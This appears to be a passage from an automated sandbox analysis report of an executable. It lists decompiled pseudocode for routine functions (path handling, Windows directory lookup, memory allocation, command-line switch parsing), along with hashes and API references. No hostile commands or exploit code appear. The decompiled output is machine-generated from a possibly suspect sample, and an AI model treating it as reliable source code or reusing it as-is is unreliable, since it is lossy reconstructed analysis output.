Instruction Fuzzy Hash: 4C015E31200315ABDB14CFA8DC05BA6B769FB48725F148265F9799B1F0CBB4E952CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00A3658A Relevance: 1.5, APIs: 1, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00A3658A(char* __ecx, void* __edx, char* _a4) {
				intOrPtr _t4;
				char* _t6;
				char* _t8;
				void* _t10;
				void* _t12;
				char* _t16;
				intOrPtr* _t17;
				void* _t18;
				char* _t19;

				_t16 = __ecx;
				_t10 = __edx;
				_t17 = __ecx;
				_t1 = _t17 + 1; // 0xa38b3f
				_t12 = _t1;
				do {
					_t4 =  *_t17;
					_t17 = _t17 + 1;
				} while (_t4 != 0);
				_t18 = _t17 - _t12;
				_t2 = _t18 + 1; // 0xa38b40
				if(_t2 < __edx) {
					_t19 = _t18 + __ecx;
					if(_t19 > __ecx) {
						_t8 = CharPrevA(__ecx, _t19); // executed
						if( *_t8 != 0x5c) {
							 *_t19 = 0x5c;
							_t19 =  &(_t19[1]);
						}
					}
					_t6 = _a4;
					 *_t19 = 0;
					while( *_t6 == 0x20) {
						_t6 = _t6 + 1;
					}
					return E00A316B3(_t16, _t10, _t6);
				}
				return 0x8007007a;
			}

0x00a36592
0x00a36594
0x00a36596
0x00a36598
0x00a36598
0x00a3659b
0x00a3659b
0x00a3659d
0x00a3659e
0x00a365a2
0x00a365a4
0x00a365a9
0x00a365b2
0x00a365b6
0x00a365ba
0x00a365c3
0x00a365c5
0x00a365c8
0x00a365c8
0x00a365c3
0x00a365c9
0x00a365cc
0x00a365d2
0x00a365d1
0x00a365d1
0x00000000
0x00a365dc
0x00000000

APIs

CharPrevA.USER32(00A38B3E,00A38B3F,00000001,00A38B3E,-00000003,?,00A360EC,00A31140,?), ref: 00A365BA

Memory Dump Source

Source File: 00000000.00000002.396615809.0000000000A31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A30000, based on PE: true

Associated: 00000000.00000002.396538956.0000000000A30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396668507.0000000000A38000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a30000_file.jbxd

Similarity

API ID: CharPrev
String ID:
API String ID: 122130370-0
Opcode ID: b93d405ec6030b210af468c066d6ee1f6b236698dd0409cf49eeffc116e67a2b
Instruction ID: a43f94bbe739622e3b0a038220014ad511874cc6dcde59b1f531f3483b27762e
Opcode Fuzzy Hash: b93d405ec6030b210af468c066d6ee1f6b236698dd0409cf49eeffc116e67a2b
Instruction Fuzzy Hash: 2DF0FC32504250BBD7314A1E9C84BA6BFDE9BD6350F28817EF8DAC3245DB659C4683A4

Uniqueness

Uniqueness Score: -1.00%

Function 00A3621E Relevance: 1.5, APIs: 1, Instructions: 35
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E00A3621E() {
				signed int _v8;
				char _v268;
				signed int _t5;
				void* _t9;
				void* _t13;
				void* _t19;
				void* _t20;
				signed int _t21;

				_t5 =  *0xa38004; // 0xb6b6972c
				_v8 = _t5 ^ _t21;
				if(GetWindowsDirectoryA( &_v268, 0x104) != 0) {
					0x4f0 = 2;
					_t9 = E00A3597D( &_v268, 0x4f0, _t19, 0x4f0); // executed
				} else {
					E00A344B9(0, 0x4f0, _t8, _t8, 0x10, _t8);
					 *0xa39124 = E00A36285();
					_t9 = 0;
				}
				return E00A36CE0(_t9, _t13, _v8 ^ _t21, 0x4f0, _t19, _t20);
			}

0x00a36229
0x00a36230
0x00a36247
0x00a3626a
0x00a36272
0x00a36249
0x00a36255
0x00a3625f
0x00a36264
0x00a36264
0x00a36284

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00A3623F

Part of subcall function 00A344B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00A34518
Part of subcall function 00A344B9: MessageBoxA.USER32(?,?,zhiga,00010010), ref: 00A34554

Part of subcall function 00A36285: GetLastError.KERNEL32(00A35BBC), ref: 00A36285

Memory Dump Source

Source File: 00000000.00000002.396615809.0000000000A31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A30000, based on PE: true

Associated: 00000000.00000002.396538956.0000000000A30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396668507.0000000000A38000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a30000_file.jbxd

Similarity

API ID: DirectoryErrorLastLoadMessageStringWindows
String ID:
API String ID: 381621628-0
Opcode ID: c3db43121f1a233acf4f61152fb10c6adccf61d7763387d4624bbab593b32d3e
Instruction ID: e6cf93533d53cb4f03fa80fc51c390aef813a5a714195f640acc863f3d5db0c8
Opcode Fuzzy Hash: c3db43121f1a233acf4f61152fb10c6adccf61d7763387d4624bbab593b32d3e
Instruction Fuzzy Hash: FFF0E2B0B00208BBE790EBB49E06FFF73BCDB54300F41806AB9C6D6092EEB49D458650

Uniqueness

Uniqueness Score: -1.00%

Function 00A34B60 Relevance: 1.5, APIs: 1, Instructions: 28
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00A34B60(signed int _a4) {
				signed int _t9;
				signed int _t15;

				_t15 = _a4 * 0x18;
				if( *((intOrPtr*)(_t15 + 0xa38d64)) != 1) {
					_t9 = FindCloseChangeNotification( *(_t15 + 0xa38d74)); // executed
					if(_t9 == 0) {
						return _t9 | 0xffffffff;
					}
					 *((intOrPtr*)(_t15 + 0xa38d60)) = 1;
					return 0;
				}
				 *((intOrPtr*)(_t15 + 0xa38d60)) = 1;
				 *((intOrPtr*)(_t15 + 0xa38d68)) = 0;
				 *((intOrPtr*)(_t15 + 0xa38d70)) = 0;
				 *((intOrPtr*)(_t15 + 0xa38d6c)) = 0;
				return 0;
			}

0x00a34b66
0x00a34b74
0x00a34b98
0x00a34ba0
0x00000000
0x00a34bac
0x00a34ba4
0x00000000
0x00a34ba4
0x00a34b78
0x00a34b7e
0x00a34b84
0x00a34b8a
0x00000000

APIs

FindCloseChangeNotification.KERNELBASE(?,00000000,00000000,?,00A34FA1,00000000), ref: 00A34B98

Memory Dump Source

Source File: 00000000.00000002.396615809.0000000000A31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A30000, based on PE: true

Associated: 00000000.00000002.396538956.0000000000A30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396668507.0000000000A38000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a30000_file.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 4ff1655d9fffdb74fd5a6c25e1a1656c9337d5ba336e49b9637cb3d5d4c982c4
Instruction ID: b094502530771c19a750b2d3098c1f000308e6e004d9eb3e03f01d9c07eeaac1
Opcode Fuzzy Hash: 4ff1655d9fffdb74fd5a6c25e1a1656c9337d5ba336e49b9637cb3d5d4c982c4
Instruction Fuzzy Hash: 80F01231500B089E9BB1CF39DC00652FBE4AEB53E0750092EB4AED2190DB34A441CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00A366AE Relevance: 1.5, APIs: 1, Instructions: 11
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00A366AE(CHAR* __ecx) {
				unsigned int _t1;

				_t1 = GetFileAttributesA(__ecx); // executed
				if(_t1 != 0xffffffff) {
					return  !(_t1 >> 4) & 0x00000001;
				} else {
					return 0;
				}
			}

0x00a366b1
0x00a366ba
0x00a366c7
0x00a366bc
0x00a366be
0x00a366be

APIs

GetFileAttributesA.KERNELBASE(?,00A34777,?,00A34E38,?), ref: 00A366B1

Memory Dump Source

Source File: 00000000.00000002.396615809.0000000000A31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A30000, based on PE: true

Associated: 00000000.00000002.396538956.0000000000A30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396668507.0000000000A38000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a30000_file.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 61c958e10bd48c2464274b505385b814520a4e36f326ecab458279d54c6a7af8
Instruction ID: 65b826e482e23f087022dae242e33d50f8c3503d52b270528f7bcf44a395f5d4
Opcode Fuzzy Hash: 61c958e10bd48c2464274b505385b814520a4e36f326ecab458279d54c6a7af8
Instruction Fuzzy Hash: 76B09276222450536A2847B26C2A5562945A6D223ABE45B90F032C11E0CB3EC846D004

Uniqueness

Uniqueness Score: -1.00%

Function 00A34CA0 Relevance: 1.3, APIs: 1, Instructions: 8
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00A34CA0(long _a4) {
				void* _t2;

				_t2 = GlobalAlloc(0, _a4); // executed
				return _t2;
			}

0x00a34caa
0x00a34cb1

APIs

GlobalAlloc.KERNELBASE(00000000,?), ref: 00A34CAA

Memory Dump Source

Source File: 00000000.00000002.396615809.0000000000A31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A30000, based on PE: true

Associated: 00000000.00000002.396538956.0000000000A30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396668507.0000000000A38000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a30000_file.jbxd

Similarity

API ID: AllocGlobal
String ID:
API String ID: 3761449716-0
Opcode ID: 3383856957890dd06a935cd8b46ed20d2a8d9ff3425be666a65cf2b1340a624a
Instruction ID: 02619468482ad66483a40bfc0266233552248266084a25b072c0400ba1b6cdbe
Opcode Fuzzy Hash: 3383856957890dd06a935cd8b46ed20d2a8d9ff3425be666a65cf2b1340a624a
Instruction Fuzzy Hash: 38B0123204430CB7CF001FC2EC09F853F1DE7C5761F140000F60C454508A7294118696

Uniqueness

Uniqueness Score: -1.00%

Function 00A34CC0 Relevance: 1.3, APIs: 1, Instructions: 7
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00A34CC0(void* _a4) {
				void* _t2;

				_t2 = GlobalFree(_a4); // executed
				return _t2;
			}

0x00a34cc8
0x00a34ccf

APIs

GlobalFree.KERNEL32 ref: 00A34CC8

Memory Dump Source

Source File: 00000000.00000002.396615809.0000000000A31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A30000, based on PE: true

Associated: 00000000.00000002.396538956.0000000000A30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396668507.0000000000A38000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a30000_file.jbxd

Similarity

API ID: FreeGlobal
String ID:
API String ID: 2979337801-0
Opcode ID: fff75fec1e375629f319856502097145831d81d9a772cb2a53f28ca9b652c85f
Instruction ID: bf1654b46270c6ae6be505e4dd276d79c0e3f4c1f3730483a3b610fa2abe6c18
Opcode Fuzzy Hash: fff75fec1e375629f319856502097145831d81d9a772cb2a53f28ca9b652c85f
Instruction Fuzzy Hash: B5B0123100010CB78F001B82EC088453F1DD6D12607000010F50C414218B3398128585

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00A35C9E Relevance: 24.9, APIs: 10, Strings: 4, Instructions: 422
COMMONCrypto

Download Yara Rule

C-Code - Quality: 92%

			E00A35C9E(void* __ebx, CHAR* __ecx, void* __edi, void* __esi) {
				signed int _v8;
				signed int _v12;
				CHAR* _v265;
				char _v266;
				char _v267;
				char _v268;
				CHAR* _v272;
				char _v276;
				signed int _v296;
				char _v556;
				signed int _t61;
				int _t63;
				char _t67;
				CHAR* _t69;
				signed int _t71;
				void* _t75;
				char _t79;
				void* _t83;
				void* _t85;
				void* _t87;
				intOrPtr _t88;
				void* _t100;
				intOrPtr _t101;
				CHAR* _t104;
				intOrPtr _t105;
				void* _t111;
				void* _t115;
				CHAR* _t118;
				void* _t119;
				void* _t127;
				CHAR* _t129;
				void* _t132;
				void* _t142;
				signed int _t143;
				CHAR* _t144;
				void* _t145;
				void* _t146;
				void* _t147;
				void* _t149;
				char _t155;
				void* _t157;
				void* _t162;
				void* _t163;
				char _t167;
				char _t170;
				CHAR* _t173;
				void* _t177;
				intOrPtr* _t183;
				intOrPtr* _t192;
				CHAR* _t199;
				void* _t200;
				CHAR* _t201;
				void* _t205;
				void* _t206;
				int _t209;
				void* _t210;
				void* _t212;
				void* _t213;
				CHAR* _t218;
				intOrPtr* _t219;
				intOrPtr* _t220;
				signed int _t221;
				signed int _t223;

				_t173 = __ecx;
				_t61 =  *0xa38004; // 0xb6b6972c
				_v8 = _t61 ^ _t221;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_t209 = 1;
				if(__ecx == 0 ||  *__ecx == 0) {
					_t63 = 1;
				} else {
					L2:
					while(_t209 != 0) {
						_t67 =  *_t173;
						if(_t67 == 0x20 || _t67 == 9 || _t67 == 0xd || _t67 == 0xa || _t67 == 0xb || _t67 == 0xc) {
							_t173 = CharNextA(_t173);
							continue;
						}
						_v272 = _t173;
						if(_t67 == 0) {
							break;
						} else {
							_t69 = _v272;
							_t177 = 0;
							_t213 = 0;
							_t163 = 0;
							_t202 = 1;
							do {
								if(_t213 != 0) {
									if(_t163 != 0) {
										break;
									} else {
										goto L21;
									}
								} else {
									_t69 =  *_t69;
									if(_t69 == 0x20 || _t69 == 9 || _t69 == 0xd || _t69 == 0xa || _t69 == 0xb || _t69 == 0xc) {
										break;
									} else {
										_t69 = _v272;
										L21:
										_t155 =  *_t69;
										if(_t155 != 0x22) {
											if(_t202 >= 0x104) {
												goto L106;
											} else {
												 *((char*)(_t221 + _t177 - 0x108)) = _t155;
												_t177 = _t177 + 1;
												_t202 = _t202 + 1;
												_t157 = 1;
												goto L30;
											}
										} else {
											if(_v272[1] == 0x22) {
												if(_t202 >= 0x104) {
													L106:
													_t63 = 0;
													L125:
													_pop(_t210);
													_pop(_t212);
													_pop(_t162);
													return E00A36CE0(_t63, _t162, _v8 ^ _t221, _t202, _t210, _t212);
												} else {
													 *((char*)(_t221 + _t177 - 0x108)) = 0x22;
													_t177 = _t177 + 1;
													_t202 = _t202 + 1;
													_t157 = 2;
													goto L30;
												}
											} else {
												_t157 = 1;
												if(_t213 != 0) {
													_t163 = 1;
												} else {
													_t213 = 1;
												}
												goto L30;
											}
										}
									}
								}
								goto L131;
								L30:
								_v272 =  &(_v272[_t157]);
								_t69 = _v272;
							} while ( *_t69 != 0);
							if(_t177 >= 0x104) {
								E00A36E2A(_t69, _t163, _t177, _t202, _t209, _t213);
								asm("int3");
								_push(_t221);
								_t222 = _t223;
								_t71 =  *0xa38004; // 0xb6b6972c
								_v296 = _t71 ^ _t223;
								if(GetWindowsDirectoryA( &_v556, 0x104) != 0) {
									0x4f0 = 2;
									_t75 = E00A3597D( &_v272, 0x4f0, _t209, 0x4f0); // executed
								} else {
									E00A344B9(0, 0x4f0, _t74, _t74, 0x10, _t74);
									 *0xa39124 = E00A36285();
									_t75 = 0;
								}
								return E00A36CE0(_t75, _t163, _v12 ^ _t222, 0x4f0, _t209, _t213);
							} else {
								 *((char*)(_t221 + _t177 - 0x108)) = 0;
								if(_t213 == 0) {
									if(_t163 != 0) {
										goto L34;
									} else {
										goto L40;
									}
								} else {
									if(_t163 != 0) {
										L40:
										_t79 = _v268;
										if(_t79 == 0x2f || _t79 == 0x2d) {
											_t83 = CharUpperA(_v267) - 0x3f;
											if(_t83 == 0) {
												_t202 = 0x521;
												E00A344B9(0, 0x521, 0xa31140, 0, 0x40, 0);
												_t85 =  *0xa38588; // 0x0
												if(_t85 != 0) {
													CloseHandle(_t85);
												}
												ExitProcess(0);
											}
											_t87 = _t83 - 4;
											if(_t87 == 0) {
												if(_v266 != 0) {
													if(_v266 != 0x3a) {
														goto L49;
													} else {
														_t167 = (0 | _v265 == 0x00000022) + 3;
														_t215 =  &_v268 + _t167;
														_t183 =  &_v268 + _t167;
														_t50 = _t183 + 1; // 0x1
														_t202 = _t50;
														do {
															_t88 =  *_t183;
															_t183 = _t183 + 1;
														} while (_t88 != 0);
														if(_t183 == _t202) {
															goto L49;
														} else {
															_t205 = 0x5b;
															if(E00A3667F(_t215, _t205) == 0) {
																L115:
																_t206 = 0x5d;
																if(E00A3667F(_t215, _t206) == 0) {
																	L117:
																	_t202 =  &_v276;
																	_v276 = _t167;
																	if(E00A35C17(_t215,  &_v276) == 0) {
																		goto L49;
																	} else {
																		_t202 = 0x104;
																		E00A31680(0xa38c42, 0x104, _v276 + _t167 +  &_v268);
																	}
																} else {
																	_t202 = 0x5b;
																	if(E00A3667F(_t215, _t202) == 0) {
																		goto L49;
																	} else {
																		goto L117;
																	}
																}
															} else {
																_t202 = 0x5d;
																if(E00A3667F(_t215, _t202) == 0) {
																	goto L49;
																} else {
																	goto L115;
																}
															}
														}
													}
												} else {
													 *0xa38a24 = 1;
												}
												goto L50;
											} else {
												_t100 = _t87 - 1;
												if(_t100 == 0) {
													L98:
													if(_v266 != 0x3a) {
														goto L49;
													} else {
														_t170 = (0 | _v265 == 0x00000022) + 3;
														_t217 =  &_v268 + _t170;
														_t192 =  &_v268 + _t170;
														_t38 = _t192 + 1; // 0x1
														_t202 = _t38;
														do {
															_t101 =  *_t192;
															_t192 = _t192 + 1;
														} while (_t101 != 0);
														if(_t192 == _t202) {
															goto L49;
														} else {
															_t202 =  &_v276;
															_v276 = _t170;
															if(E00A35C17(_t217,  &_v276) == 0) {
																goto L49;
															} else {
																_t104 = CharUpperA(_v267);
																_t218 = 0xa38b3e;
																_t105 = _v276;
																if(_t104 != 0x54) {
																	_t218 = 0xa38a3a;
																}
																E00A31680(_t218, 0x104, _t105 + _t170 +  &_v268);
																_t202 = 0x104;
																E00A3658A(_t218, 0x104, 0xa31140);
																if(E00A331E0(_t218) != 0) {
																	goto L50;
																} else {
																	goto L106;
																}
															}
														}
													}
												} else {
													_t111 = _t100 - 0xa;
													if(_t111 == 0) {
														if(_v266 != 0) {
															if(_v266 != 0x3a) {
																goto L49;
															} else {
																_t199 = _v265;
																if(_t199 != 0) {
																	_t219 =  &_v265;
																	do {
																		_t219 = _t219 + 1;
																		_t115 = CharUpperA(_t199) - 0x45;
																		if(_t115 == 0) {
																			 *0xa38a2c = 1;
																		} else {
																			_t200 = 2;
																			_t119 = _t115 - _t200;
																			if(_t119 == 0) {
																				 *0xa38a30 = 1;
																			} else {
																				if(_t119 == 0xf) {
																					 *0xa38a34 = 1;
																				} else {
																					_t209 = 0;
																				}
																			}
																		}
																		_t118 =  *_t219;
																		_t199 = _t118;
																	} while (_t118 != 0);
																}
															}
														} else {
															 *0xa38a2c = 1;
														}
														goto L50;
													} else {
														_t127 = _t111 - 3;
														if(_t127 == 0) {
															if(_v266 != 0) {
																if(_v266 != 0x3a) {
																	goto L49;
																} else {
																	_t129 = CharUpperA(_v265);
																	if(_t129 == 0x31) {
																		goto L76;
																	} else {
																		if(_t129 == 0x41) {
																			goto L83;
																		} else {
																			if(_t129 == 0x55) {
																				goto L76;
																			} else {
																				goto L49;
																			}
																		}
																	}
																}
															} else {
																L76:
																_push(2);
																_pop(1);
																L83:
																 *0xa38a38 = 1;
															}
															goto L50;
														} else {
															_t132 = _t127 - 1;
															if(_t132 == 0) {
																if(_v266 != 0) {
																	if(_v266 != 0x3a) {
																		if(CompareStringA(0x7f, 1, "RegServer", 0xffffffff,  &_v267, 0xffffffff) != 0) {
																			goto L49;
																		}
																	} else {
																		_t201 = _v265;
																		 *0xa39a2c = 1;
																		if(_t201 != 0) {
																			_t220 =  &_v265;
																			do {
																				_t220 = _t220 + 1;
																				_t142 = CharUpperA(_t201) - 0x41;
																				if(_t142 == 0) {
																					_t143 = 2;
																					 *0xa39a2c =  *0xa39a2c | _t143;
																					goto L70;
																				} else {
																					_t145 = _t142 - 3;
																					if(_t145 == 0) {
																						 *0xa38d48 =  *0xa38d48 | 0x00000040;
																					} else {
																						_t146 = _t145 - 5;
																						if(_t146 == 0) {
																							 *0xa39a2c =  *0xa39a2c & 0xfffffffd;
																							goto L70;
																						} else {
																							_t147 = _t146 - 5;
																							if(_t147 == 0) {
																								 *0xa39a2c =  *0xa39a2c & 0xfffffffe;
																								goto L70;
																							} else {
																								_t149 = _t147;
																								if(_t149 == 0) {
																									 *0xa38d48 =  *0xa38d48 | 0x00000080;
																								} else {
																									if(_t149 == 3) {
																										 *0xa39a2c =  *0xa39a2c | 0x00000004;
																										L70:
																										 *0xa38a28 = 1;
																									} else {
																										_t209 = 0;
																									}
																								}
																							}
																						}
																					}
																				}
																				_t144 =  *_t220;
																				_t201 = _t144;
																			} while (_t144 != 0);
																		}
																	}
																} else {
																	 *0xa39a2c = 3;
																	 *0xa38a28 = 1;
																}
																goto L50;
															} else {
																if(_t132 == 0) {
																	goto L98;
																} else {
																	L49:
																	_t209 = 0;
																	L50:
																	_t173 = _v272;
																	if( *_t173 != 0) {
																		goto L2;
																	} else {
																		break;
																	}
																}
															}
														}
													}
												}
											}
										} else {
											goto L106;
										}
									} else {
										L34:
										_t209 = 0;
										break;
									}
								}
							}
						}
						goto L131;
					}
					if( *0xa38a2c != 0 &&  *0xa38b3e == 0) {
						if(GetModuleFileNameA( *0xa39a3c, 0xa38b3e, 0x104) == 0) {
							_t209 = 0;
						} else {
							_t202 = 0x5c;
							 *((char*)(E00A366C8(0xa38b3e, _t202) + 1)) = 0;
						}
					}
					_t63 = _t209;
				}
				L131:
			}

0x00a35c9e
0x00a35ca9
0x00a35cb0
0x00a35cb3
0x00a35cb6
0x00a35cb7
0x00a35cb8
0x00a35cbd
0x00a36204
0x00a35ccb
0x00000000
0x00a35ccb
0x00a35cd3
0x00a35cd7
0x00a35cf4
0x00000000
0x00a35cf4
0x00a35cf8
0x00a35d00
0x00000000
0x00a35d06
0x00a35d06
0x00a35d0e
0x00a35d10
0x00a35d12
0x00a35d14
0x00a35d15
0x00a35d17
0x00a35d49
0x00000000
0x00000000
0x00000000
0x00000000
0x00a35d19
0x00a35d19
0x00a35d1d
0x00000000
0x00a35d3f
0x00a35d3f
0x00a35d4b
0x00a35d4b
0x00a35d4f
0x00a35d8d
0x00000000
0x00a35d93
0x00a35d93
0x00a35d9a
0x00a35d9d
0x00a35d9e
0x00000000
0x00a35d9e
0x00a35d51
0x00a35d5b
0x00a35d72
0x00a360fb
0x00a360fb
0x00a36207
0x00a3620a
0x00a3620b
0x00a3620e
0x00a36217
0x00a35d78
0x00a35d78
0x00a35d80
0x00a35d83
0x00a35d84
0x00000000
0x00a35d84
0x00a35d5d
0x00a35d5f
0x00a35d62
0x00a35d68
0x00a35d64
0x00a35d64
0x00a35d64
0x00000000
0x00a35d62
0x00a35d5b
0x00a35d4f
0x00a35d1d
0x00000000
0x00a35d9f
0x00a35d9f
0x00a35da5
0x00a35dab
0x00a35dba
0x00a36218
0x00a3621d
0x00a36220
0x00a36221
0x00a36229
0x00a36230
0x00a36247
0x00a3626a
0x00a36272
0x00a36249
0x00a36255
0x00a3625f
0x00a36264
0x00a36264
0x00a36284
0x00a35dc0
0x00a35dc0
0x00a35dca
0x00a35e22
0x00000000
0x00000000
0x00000000
0x00000000
0x00a35dcc
0x00a35dce
0x00a35e24
0x00a35e24
0x00a35e2c
0x00a35e47
0x00a35e4a
0x00a361d2
0x00a361e2
0x00a361e7
0x00a361ee
0x00a361f1
0x00a361f1
0x00a361f8
0x00a361f8
0x00a35e50
0x00a35e53
0x00a36109
0x00a3611f
0x00000000
0x00a36125
0x00a36137
0x00a3613a
0x00a3613c
0x00a3613e
0x00a3613e
0x00a36141
0x00a36141
0x00a36143
0x00a36144
0x00a3614a
0x00000000
0x00a36150
0x00a36152
0x00a3615c
0x00a36170
0x00a36172
0x00a3617c
0x00a36190
0x00a36190
0x00a36196
0x00a361a5
0x00000000
0x00a361ab
0x00a361b9
0x00a361c6
0x00a361c6
0x00a3617e
0x00a36180
0x00a3618a
0x00000000
0x00000000
0x00000000
0x00000000
0x00a3618a
0x00a3615e
0x00a36160
0x00a3616a
0x00000000
0x00000000
0x00000000
0x00000000
0x00a3616a
0x00a3615c
0x00a3614a
0x00a3610b
0x00a3610e
0x00a3610e
0x00000000
0x00a35e59
0x00a35e59
0x00a35e5c
0x00a3604f
0x00a36056
0x00000000
0x00a3605c
0x00a3606e
0x00a36071
0x00a36073
0x00a36075
0x00a36075
0x00a36078
0x00a36078
0x00a3607a
0x00a3607b
0x00a36081
0x00000000
0x00a36087
0x00a36087
0x00a3608d
0x00a3609c
0x00000000
0x00a360a2
0x00a360aa
0x00a360b2
0x00a360b7
0x00a360bd
0x00a360bf
0x00a360bf
0x00a360d6
0x00a360e0
0x00a360e7
0x00a360f5
0x00000000
0x00000000
0x00000000
0x00000000
0x00a360f5
0x00a3609c
0x00a36081
0x00a35e62
0x00a35e62
0x00a35e65
0x00a35fd3
0x00a35fe9
0x00000000
0x00a35fef
0x00a35fef
0x00a35ff7
0x00a35ffd
0x00a36003
0x00a36006
0x00a36011
0x00a36014
0x00a3603d
0x00a36016
0x00a36018
0x00a36019
0x00a3601b
0x00a36033
0x00a3601d
0x00a36020
0x00a36029
0x00a36022
0x00a36022
0x00a36022
0x00a36020
0x00a3601b
0x00a36042
0x00a36044
0x00a36046
0x00a3604a
0x00a35ff7
0x00a35fd5
0x00a35fd8
0x00a35fd8
0x00000000
0x00a35e6b
0x00a35e6b
0x00a35e6e
0x00a35f8b
0x00a35f99
0x00000000
0x00a35f9f
0x00a35fa7
0x00a35faf
0x00000000
0x00a35fb1
0x00a35fb3
0x00000000
0x00a35fb5
0x00a35fb7
0x00000000
0x00a35fb9
0x00000000
0x00a35fb9
0x00a35fb7
0x00a35fb3
0x00a35faf
0x00a35f8d
0x00a35f8d
0x00a35f8d
0x00a35f8f
0x00a35fc1
0x00a35fc1
0x00a35fc1
0x00000000
0x00a35e74
0x00a35e74
0x00a35e77
0x00a35ea0
0x00a35ebd
0x00a35f79
0x00000000
0x00a35f7f
0x00a35ec3
0x00a35ec3
0x00a35ecc
0x00a35ed4
0x00a35ed6
0x00a35edc
0x00a35edf
0x00a35eea
0x00a35eed
0x00a35f3f
0x00a35f40
0x00000000
0x00a35eef
0x00a35eef
0x00a35ef2
0x00a35f34
0x00a35ef4
0x00a35ef4
0x00a35ef7
0x00a35f2b
0x00000000
0x00a35ef9
0x00a35ef9
0x00a35efc
0x00a35f22
0x00000000
0x00a35efe
0x00a35eff
0x00a35f02
0x00a35f16
0x00a35f04
0x00a35f07
0x00a35f0d
0x00a35f46
0x00a35f46
0x00a35f09
0x00a35f09
0x00a35f09
0x00a35f07
0x00a35f02
0x00a35efc
0x00a35ef7
0x00a35ef2
0x00a35f4c
0x00a35f4e
0x00a35f50
0x00a35f54
0x00a35ed4
0x00a35ea2
0x00a35ea4
0x00a35eaf
0x00a35eaf
0x00000000
0x00a35e79
0x00a35e7d
0x00000000
0x00a35e83
0x00a35e83
0x00a35e83
0x00a35e85
0x00a35e85
0x00a35e8e
0x00000000
0x00a35e94
0x00000000
0x00a35e94
0x00a35e8e
0x00a35e7d
0x00a35e77
0x00a35e6e
0x00a35e65
0x00a35e5c
0x00000000
0x00000000
0x00000000
0x00a35dd0
0x00a35dd0
0x00a35dd0
0x00000000
0x00a35dd0
0x00a35dce
0x00a35dca
0x00a35dba
0x00000000
0x00a35d00
0x00a35dd9
0x00a35e04
0x00a361fe
0x00a35e0a
0x00a35e0c
0x00a35e17
0x00a35e17
0x00a35e04
0x00a36200
0x00a36200
0x00000000

APIs

CharNextA.USER32(?,00000000,?,?), ref: 00A35CEE
GetModuleFileNameA.KERNEL32(00A38B3E,00000104,00000000,?,?), ref: 00A35DFC
CharUpperA.USER32(?), ref: 00A35E3E
CharUpperA.USER32(-00000052), ref: 00A35EE1
CompareStringA.KERNEL32(0000007F,00000001,RegServer,000000FF,?,000000FF), ref: 00A35F6F
CharUpperA.USER32(?), ref: 00A35FA7
CharUpperA.USER32(-0000004E), ref: 00A36008
CharUpperA.USER32(?), ref: 00A360AA
CloseHandle.KERNEL32(00000000,00A31140,00000000,00000040,00000000), ref: 00A361F1
ExitProcess.KERNEL32 ref: 00A361F8

Strings

", xrefs: 00A35D78
", xrefs: 00A3612D
:, xrefs: 00A36118
RegServer, xrefs: 00A35F66

Memory Dump Source

Source File: 00000000.00000002.396615809.0000000000A31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A30000, based on PE: true

